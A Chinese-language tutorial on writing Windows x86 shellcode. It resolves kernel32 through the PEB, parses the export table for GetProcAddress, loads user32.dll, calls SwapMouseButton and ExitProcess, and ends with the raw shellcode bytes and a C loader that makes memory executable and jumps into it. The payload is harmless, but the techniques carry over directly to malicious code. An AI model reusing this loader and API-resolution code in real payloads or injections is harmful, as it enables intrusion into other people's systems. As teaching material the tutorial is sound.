在Windows Shellcode开发介绍的最后一部分,我们将编写一个简单的改变鼠标左右键的shellcode。我们需要用到两个函数:SwapMouseButton和ExitProcess函数。首先看一个两个函数的参数与返回值情况:
SwapMouseButton只有一个BOOL类型参数,若参为TRUE则交换鼠标左右键,返回值非0;
ExitProcess也只有一个参数,代表进程退出代码。
整理一下思路:
我们需要调用以上两个函数,在C++中体现就是:
编译器知道与user32库链接并找到SwapMouseButton函数。但我们需要在shellcode中手动执行此操作:我们需要手动加载user32库,找到SwapMouseButton函数的地址并调用。
#include
typedef BOOL(WINAPI* fswapMouseButton)(BOOL);
int main()
{
//声明函数指针
fswapMouseButton FunctionPointer;
//加载user32.dll库
HMODULE user = LoadLibrary((LPCWSTR)"user32.dll");
//获取SwapMouseButton函数地址
FunctionPointer = (fswapMouseButton)GetProcAddress(user, "SwapMouseButton");
//调用函数
FunctionPointer(true);
return 0;
}
编译器知道LoadLibrary和GetProcAddress函数的地址。在shellcode中,我们必须以编程方式来计算。需要注意的是,我们在C++中不需要调用ExitProcess函数,因为main函数的return 0就是退出进程的作;但是我们在shellcode中需要调用ExitProcess函数来避免程序崩溃。
通过前面的思路整理,可以总结出编写目标shellcode的步骤:
1. 查找kernel32.dll加载到内存的位置并找到其导出的GetProcessAddress函数
2. 使用GetProcessAddress函数查找LoadLibrary函数地址
3. 使用LoadLibrary加载user32.dll库
4. 在user32.dll中找到SwapMouseButton函数地址
5. 调用SwapMouseButton函数
6. 找到ExitProcess函数地址并调用
为了编写shellcode,在VS2019中使用_asm{ }命令直接编写汇编代码:
xor ecx, ecx
mov eax, fs: [ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
行1--2:将ecx清零避免出现NULL字节(mov ecx,0)
行3--4:现在eax存放PEB指针,正如上一部分讨论的,在0xC偏移处找到Ldr,在Ldr中0x14的偏移处,找到InMemoryOrderModuleList。
行5--7:现在位于InMemoryOrderModuleList上的主模块(项目编译运行生成的exe文件:若在VS2019中建立的项目名为shellcode_test,主模块就是shellcode_test.exe)。此处第一个元素是Flink,指向下一个模块的指针。可以看到我们把这个指针放在了esi寄存器中,lodsd指令将跟随esi寄存器指定的指针,我们将在eax寄存器中获得结果。这意味着在lodsd指令之后,我们将在eax寄存器中获取到第二个模块ntdll.dll。我们通过交换eax和esi的值将该指针放置在esi中,并再次使用lodsd指令到达第三个模块:kernel32.dll。详细分析见Windows Shellcode开发[2]
行8:此时,此时,我们在eax寄存器中获得指向 kernel32.dll 的InMemoryOrderList的指针。增加0x10字节将获得DllBase指针,即加载 kernel32.dll的内存地址。
我们已经在内存中找到了kernel32.dll,现在我们需要分析这个PE文件并找到导出表:
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
行1--2:经过上一部分对PE文件格式的分析,我们在偏移0x3c处得到e_lfanew指针(e_lfanew指向PE头)。注意:虚拟地址 = 相对虚拟地址 + 基址
行3--4:在PE头的偏移0x78 处,我们可以找到导出的DataDirectory。同样,我们将这个值添加到edx寄存器,我们现在位于kernel32.dll的导出表中。
行5--7:在IMAGE_EXPORT_DIRECTORY结构中,在偏移量0x20处,我们可以找到指向AddressOfNames的指针,如此我们可以获得导出的函数名称。同时将指针保存在esi寄存器中并将ecx寄存器设置为0。
目前我们位于AddressOfNames字段,每4个字节代表一个指向函数名的指针。我们如下找到函数名和函数名序号:
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
行1--3:第一行“Get_Function:”是一个标签,一个位置名称;我们将跳转到该位置以读取函数名。第3行递增ecx,作为函数的计数器和函数序号。
行4-5:我们在esi寄存器中有指向第一个函数名的指针。lodsd指令会将函数名的偏移量放在eax中,然后我们将其与ebx(kernel32基地址)相加。注意:lodsd指令还将esi寄存器的值增加 4,这样一来我们不必手动增加它,我们只需要再次调用lodsd以获得下一个函数名称指针。
行6--11:我们现在在eax寄存器中有一个指向导出函数名称的正确指针,接下来需要检查这个函数名是否是“GetProcAddress”。
至此我们已找到GetProcessAdress函数序号,下面据此找到函数地址:
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
行1--2:此时,我们在edx中有一个指向IMAGE_EXPORT_DIRECTORY结构的指针。在结构的偏移量 0x24 处,我们可以找到AddressOfNameOrdinals。在第2行,我们将此偏移量添加到ebx寄存器,它是kernel32.dll的映像库,因此我们得到了一个指向名称序数表的有效指针。
行3--4:esi寄存器包含指向名称序数数组的指针。我们在ecx寄存器中有GetProcAddress函数的名称序号,如此我们得到函数地址序号。函数名称序数从0开始所以我们需要减少相应的值。
行5--6:在偏移量 0x1c 处,我们可以找到AddressOfFunctions,即指向函数指针数组的指针。
行7--8:现在我们在ecx中获得了AddressOfFunctions数组的正确索引,我们只需在AddressOfFunctions[ecx]位置找到GetProcAddress函数指针。ecx * 4表示每个指针有 4 个字节,esi 指向数组的开头。在第8行计算虚拟地址,因此我们将在 edx中拥有指向GetProcAddress函数的指针。
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LoadLibarry)
行1--3:首先将ecx置零,然后将kernel32基地址和GetprocessAdress函数指针压栈。
行4--10:将“LoadLibraryA\0”字符串压栈然后调用GetProcessAdress函数以得到LoadLibrary函数地址。
add esp, 0xc ; pop "LoadLibraryA"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
行1--3:通过add esp将堆栈上的“LoadLibraryA”字符串清除,同时也将前面压入的0弹栈。在1.5中执行完call edx后,会将LoadLibrary函数地址存在在eax中,所以在此将函数地址压栈。
行4--10:将user32.dll字符串压栈,调用LoadLibrary函数加载user32.dll。
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
行1--2:和上一步一样首先清理堆栈。第2行将GetProcessAdress函数地址放入edx。
行3--12:将SwapMouseButton字符串压入栈桢并调用GetProcessAdress函数以得到SwapMouseButton函数地址。
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
类似前面的操作:清理堆栈、压入参数、调用函数。
add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr[esp + 0x3], 0x61; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
行1--3:再次记性清理堆栈操作。
行4--11:将ExitProcess字符串压栈调用GetProcessAdress函数得到ExitProcess函数地址
行12--14:压参后调用ExitProcess函数。
最终的shellcode如下:
xor ecx, ecx
mov eax, fs: [ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
使用以下代码测试shellcoed:
#include "stdafx.h"
#include
int main()
{
char *shellcode =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75"
"\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68"
"\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73"
"\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68"
"\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9"
"\x41" // inc ecx - Remove this to restore the functionality
"\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61"
"\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0";
// Set memory as executable
DWORD old = 0;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old);
// Call the shellcode
__asm
{
jmp shellcode;
}
return 0;
}